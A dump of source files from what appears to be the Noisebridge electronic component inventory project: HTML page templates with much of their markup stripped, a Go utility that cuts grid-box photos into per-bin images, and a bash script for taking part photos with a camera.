| 48 | 49 | 50 | 55 | 58 | 64 | 70 | 76 | 82 | 88 | 94 | 100 | 106 | 112 | 118 | 124 | 130 | 131 | 132 | 133 | -------------------------------------------------------------------------------- /stuff/template/display-template.html: -------------------------------------------------------------------------------- 1 | 2 | {{/* This is the template for a component shown in the readonly, non-editable 3 | mode. Simplicity and small data transfer to be shown on a mobile device are the 4 | guiding factors here. Also removing irrelevant information. 5 | */}} 6 | 7 | {{.PageTitle}} 8 | 9 | 10 | 11 | 19 | 20 | 21 |
Show Data Search Status
22 | 23 | {{/* In the readonly template, only the top row is a form to be able to enter bin-numbers */}} 24 |
25 | 26 | 27 | 28 | {{/* The number on the drawer or bin */}} 29 | 30 | 42 | 43 |
31 | < 32 | 33 | 39 | 40 | > 41 |
44 |
45 | 46 | 47 | 48 | 49 | 52 | 53 | 54 | 55 | 56 | 57 | {{if ne .Datasheet_url ""}}{{end}} 58 | 59 |
{{.Component.Category}}
{{.Value}}
{{.Footprint}} 50 | {{if ne .Quantity ""}}  {{.Quantity}}-ish{{end}} 51 |
{{.Description}}
{{.Notes}}
{{.DatasheetLinkText}}
60 | 61 | {{/* Depending on size of screen, image shows on right or floats down. Good for mobile */}} 62 |
Component image
63 | 64 | 82 | 83 | -------------------------------------------------------------------------------- /stuff/template/form-template.html: -------------------------------------------------------------------------------- 1 | 2 | {{/* This is the template for a component shown when it is allowed to be edited, e.g. in the right IP address range. */}} 3 | 4 | {{.PageTitle}} 5 | 6 | 7 | 8 | 9 | 129 | 188 | 189 | 190 |
Enter Data Search Status
191 | 192 | 196 |
197 | 198 | 199 | 308 | 309 | 310 | 311 | 335 | 336 |
200 | 201 | 202 | {{/* The number on the drawer or bin */}} 203 | 204 | 205 | 221 | 222 | 223 | 224 | {{if eq .ShowEditToggle false}} 225 | 226 | {{end}} 227 | 234 | 235 | 256 | 257 | 258 | 259 | 265 | 266 | 267 | 268 | 269 | 274 | 275 | 276 | 277 | 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 291 | 292 | 293 | 294 | 298 | 299 | 300 | 301 | 302 | 305 | 306 |
206 | 208 | 209 | 210 | 211 | 212 | 218 | 219 | 220 |
Category{{.Component.Category}} 228 | 229 | {{if eq .ShowEditToggle true}} 230 | Editedit toggle 232 | {{end}} 233 |
236 | 237 | {{if eq .ShowEditToggle true}} 238 | 239 | {{range $i, $element := .CatChoice}} 240 | {{if $element.AddSeparator}}{{end}} 241 | {{end}} 245 | 253 |
244 |
246 | 250 | 251 |
254 | {{end}} 255 |
264 |
270 |    271 | 272 | -ish 273 |
289 | {{if ne .Datasheet_url ""}}->link{{end}} 290 |
space needed: 295 | 296 | 297 |
303 |   304 |
307 |
312 | 314 | Component image 315 |
{{.Msg}}
316 | 317 | 318 |
Status adjacent drawers/bins
319 | 320 | 321 | {{ range $element := .Status }} 322 | 326 | {{end}} 327 | 328 | 329 |
323 |
<-[PgUp][PgDn]->
330 | 331 |
332 | 333 | 334 |
337 |
338 | 339 | 361 | 362 |
364 | 365 |
366 | 367 | 368 | 405 | 406 | 407 | For instructions, have a look at the Electronic Parts wiki page 408 | 409 | -------------------------------------------------------------------------------- /stuff/template/search-result.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Noisebridge Parts search 4 | 5 | 6 | 7 | 8 | 65 | 79 | 80 | 81 | 82 | 83 | 95 |   96 | 97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 | 181 | 182 | -------------------------------------------------------------------------------- /stuff/template/set-drag-drop.html: -------------------------------------------------------------------------------- 1 | {{/* HTML generated to show the drag-drop UI. To avoid fiddeling with assembling 2 | this with JavaScript, we simply fill this HTML template manually. 3 | 4 | Someone has to make this drag-drop stuff work on mobile.*/}} 5 | {{.Message}}

6 | {{range $set := .Sets}} 7 |

8 | {{range $item := $set.Items}} 9 |
10 | ({{$item.Id}}) 11 | {{$item.Value}}
12 | {{$item.Footprint}} 13 | {{$item.Description}} 14 |
{{end}} 15 |
{{end}} 16 |

17 | -------------------------------------------------------------------------------- /stuff/template/status-table.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Status: Noisebridge Electronic Component Declutter Project 5 | 6 | 20 | 21 | 22 | 23 |

Status of data quality

24 |

25 | Legend: Entry missing | 26 | Poor: Only one field | 27 | Fair: Two fields | 28 | Good; Category, Name and Description 29 | 30 | 31 | 36 | 41 | 46 |
32 |
42
33 |
34 | A square in the top corner indicates that there is a picture available. 35 |
37 |
42
38 |
39 | Empty drawers with numbers are crossed out. 40 |
42 |
42
43 |
44 | Unknown component. Needs revisit. 45 |
47 | 48 |

000

49 | 50 | {{ range $element := .Items }} 51 | {{ if eq $element.Separator 1}}{{end}} 52 | {{ if eq $element.Separator 2}}

{{$element.Number}}

{{end}} 53 | 57 | {{end}} 58 |
54 |
55 |
{{ if $element.HasPicture}}□{{else}} {{end}}
56 | {{ $element.Number }}
59 |
60 | 61 | -------------------------------------------------------------------------------- /utils/README.md: -------------------------------------------------------------------------------- 1 | Some one-off utilities. Here mostly for acquiring images. -------------------------------------------------------------------------------- /utils/image-cut/Makefile: -------------------------------------------------------------------------------- 1 | 2 | image-cut: image-cut.go 3 | go build 4 | 5 | clean: 6 | rm -f image-cut 7 | -------------------------------------------------------------------------------- /utils/image-cut/image-cut.go: -------------------------------------------------------------------------------- 1 | // Chop up an rectangular image of a grid box. 2 | package main 3 | 4 | import ( 5 | "flag" 6 | "fmt" 7 | "image" 8 | "image/color" 9 | "image/jpeg" 10 | "log" 11 | "os" 12 | "path" 13 | ) 14 | 15 | type SubImage struct { 16 | image image.Image 17 | rect image.Rectangle 18 | } 19 | 20 | func NewSubImage(m image.Image, r image.Rectangle) image.Image { 21 | return &SubImage{ 22 | image: m, 23 | rect: r, 24 | } 25 | } 26 | func (s *SubImage) ColorModel() color.Model { 27 | return s.image.ColorModel() 28 | } 29 | 30 | func (s *SubImage) Bounds() image.Rectangle { 31 | return s.rect 32 | } 33 | func (s *SubImage) At(x, y int) color.Color { 34 | return s.image.At(x, y) 35 | } 36 | 37 | func usage(message string) { 38 | if message != "" { 39 | fmt.Printf("%s\n", message) 40 | } 41 | 42 | fmt.Printf("usage:\nimage-cut [flags] [...]\n" + 43 | "Flags:\n" + 44 | " --out_dir : Directory to write the images to\n" + 45 | " --xdiv : Number of x-divisions\n" + 46 | " --ydiv : Number of y-divisions\n" + 47 | " --border_percent : Percent of border removed from each sub-image\n") 48 | os.Exit(1) 49 | } 50 | 51 | func main() { 52 | xdivs := flag.Int("xdiv", 8, "Divisions in X direction") 53 | ydivs := flag.Int("ydiv", 5, "Divisions in Y direction") 54 | border_percent := flag.Int("border_percent", 5, 55 | "Percent of border removed") 56 | out_dir := flag.String("out_dir", "out", "Output directory") 57 | 58 | flag.Parse() 59 | if *border_percent < 0 || *border_percent > 50 { 60 | usage("--border_percent needs to be less than 50%") 61 | } 62 | 63 | if len(flag.Args()) == 0 { 64 | usage("Expected images") 65 | } 66 | 67 | if err := os.MkdirAll(*out_dir, 0755); err != nil { 68 | log.Fatalf("Can't create output directory %s", err) 69 | } 70 | 71 | for _, input_filename := range flag.Args() { 72 | base := path.Base(input_filename) 73 | box_id := string(base[0 : len(base)-len(path.Ext(input_filename))]) 74 | reader, err := os.Open(input_filename) 75 | if err != nil { 76 | log.Printf("Issue opening %s: %s", input_filename, err) 77 | continue 78 | } 79 | defer reader.Close() 80 | m, _, err := image.Decode(reader) 81 | if err != nil { 82 | log.Fatal(err) 83 | } 84 | bounds := m.Bounds() 85 | width := bounds.Max.X - bounds.Min.X 86 | height := bounds.Max.Y - bounds.Min.Y 87 | div_width := width / *xdivs 88 | div_height := height / *ydivs 89 | cut_w := div_width * *border_percent / 100 90 | cut_h := div_height * *border_percent / 100 91 | log.Printf("imagelet size: %dx%d [border: %dx%d]", div_width, div_height, cut_w, cut_h) 92 | for x := 0; x < *xdivs; x++ { 93 | for y := 0; y < *ydivs; y++ { 94 | subimage := NewSubImage(m, 95 | image.Rect(x*div_width+cut_w, y*div_height+cut_h, 96 | (x+1)*div_width-cut_w, (y+1)*div_height-cut_h)) 97 | name := fmt.Sprintf("%s/%s:%c%d.jpg", *out_dir, box_id, y+'A', x+1) 98 | log.Println(name) 99 | writer, err := os.OpenFile(name, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0644) 100 | if err != nil { 101 | log.Fatal(err) 102 | } 103 | defer writer.Close() 104 | err = jpeg.Encode(writer, subimage, nil) 105 | if err != nil { 106 | log.Fatal(err) 107 | } 108 | } 109 | } 110 | } 111 | } 112 | -------------------------------------------------------------------------------- /utils/take-pictures.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | ## 3 | 4 | if [ $# -ne 1 ]; then 5 | echo "Usage: $0 " 6 | echo 7 | echo "Connects to locally attached camera and takes pictures," 8 | echo "storing the result in a directory" 9 | exit 1 10 | fi 11 | 12 | FEH_GEOMETRY=2000x1338+560+0 13 | FEH_GEOMETRY_SMALL=1000x670+0+0 14 | 15 | RESULT_DIR=$1 16 | if [ ! -d ${RESULT_DIR} ]; then 17 | echo "${RESULT_DIR} is not a directory. Please create that first" 18 | exit 1 19 | fi 20 | ID="" 21 | 22 | TMP_PART=/tmp/part-no.$$ 23 | FEH_PICTURE=/tmp/feh-pic-$$.jpg 24 | 25 | # Our constant process showing images. Makeing it auto-reload. 26 | ln -sf $(realpath $(dirname $0)/../img/placeholder.jpg) $FEH_PICTURE 27 | feh -g $FEH_GEOMETRY -R 0.2 "$FEH_PICTURE" & 28 | 29 | mkdir -p $RESULT_DIR 30 | 31 | while : ; do 32 | # Getting a valid part id 33 | while : ; do 34 | dialog --inputbox "Part ID" 10 20 "$ID" 2> $TMP_PART 35 | if [ $? -ne 0 ] ; then 36 | echo "Exit" 37 | exit 38 | fi 39 | ID=$(< $TMP_PART) 40 | if [ ! -z "$ID" ] ; then 41 | break 42 | fi 43 | done 44 | 45 | # Display if available 46 | PIC_NAME="${RESULT_DIR}/${ID}.jpg" 47 | if [ -e "$PIC_NAME" ] ; then 48 | ln -sf $(realpath "$PIC_NAME") $FEH_PICTURE 49 | dialog --yesno "$PIC_NAME already exists.\nOverwrite ?" 10 30 50 | if [ $? -ne 0 ] ; then 51 | continue 52 | fi 53 | fi 54 | 55 | # apparently we have to make sure that everything is deleted 56 | # on the camera before, otherwise we sometimes get the previous 57 | # image. 58 | gphoto2 -D && gphoto2 --capture-image-and-download 59 | if [ $? -ne 0 ] ; then 60 | echo "Can't take picture. Camera connected ?" 61 | break; 62 | fi 63 | mv capt0000.jpg "$PIC_NAME" 64 | ln -sf $(realpath "$PIC_NAME") "$FEH_PICTURE" 65 | 66 | # Be helpful and increment 67 | ID=$[$ID + 1] 68 | done 69 | 70 | rm "${TMP_PART}" "${FEH_PICTURE}" 71 | --------------------------------------------------------------------------------